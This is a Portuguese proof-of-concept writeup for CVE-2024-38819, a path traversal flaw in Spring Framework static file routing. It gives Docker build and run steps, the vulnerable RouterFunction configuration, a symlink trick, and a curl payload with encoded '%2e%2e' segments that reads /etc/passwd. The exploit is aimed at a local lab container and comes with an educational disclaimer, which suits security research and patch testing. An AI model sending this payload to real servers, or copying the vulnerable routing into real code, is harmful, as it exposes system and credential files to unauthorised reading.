CVE-2024-38819: Prova de Conceito (PoC)

Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38819, que reportei, demonstrando uma exploração de path traversal.

Etapas de Execução

1. Construa a imagem Docker (Spring Boot 3.3.4, baseada no Spring Framework 6.1.13)

   root@kitploit:~

   cd vuln
   docker build -t cve-2024-38819-poc .
   

2. Execute o contêiner e exponha a porta 8080 para a máquina host

   root@kitploit:~

   docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
   

3. Execute o seguinte comando para executar o PoC e confirmar a vulnerabilidade

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.

Explicação

1. Crie PathTraversalDemoApplication.java com o seguinte código para configurar o roteamento de arquivos estáticos usando RouterFunction e FileSystemResource:

   root@kitploit:~

   public RouterFunction<ServerResponse> staticResourceRouter() {
       return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
   }
   

2. Adicione o seguinte comando ao Dockerfile para criar um link simbólico:

   root@kitploit:~

   RUN ln -s /static /app/static/link
   

3. Crie um payload que utilize codificação percentual para percorrer diretórios através do link simbólico.

   • Caminho: /static/link/%2e%2e/etc/passwd

4. Use o seguinte comando curl para executar o PoC e verificar se o ataque é bem-sucedido:

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.

Aviso Legal

Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de usá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e que você possui autorização adequada. O autor não se responsabiliza por qualquer uso indevido deste código.